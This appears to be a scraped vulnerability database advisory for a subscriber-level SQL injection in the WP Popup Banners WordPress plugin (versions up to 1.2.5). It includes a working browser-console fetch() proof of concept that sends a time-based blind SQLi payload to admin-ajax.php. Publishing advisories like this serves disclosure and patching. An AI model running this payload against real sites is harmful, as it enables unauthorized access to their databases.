Lucene search

K
wpexploitWpvulndbWPEX-ID:C3F6770E-DE15-41C2-843B-D0AE55AD6418
HistoryMar 22, 2023 - 12:00 a.m.

WP Popup Banners <= 1.2.5 - Subscriber+ SQLi

2023-03-2200:00:00
wpvulndb
49
wordpress
popup banners
sql injection
subscriber role
vulnerability
exploit

0.001 Low

EPSS

Percentile

31.1%

The plugin does not properly sanitise and escape the value parameter before using it in a SQL statement via the get_popup_data AJAX action, leading to a SQL injection exploitable by any authenticated users, such as subscriber

Run the below command in the developer console of the web browser while being on the blog as subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=get_popup_data&value=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

0.001 Low

EPSS

Percentile

31.1%

Related for WPEX-ID:C3F6770E-DE15-41C2-843B-D0AE55AD6418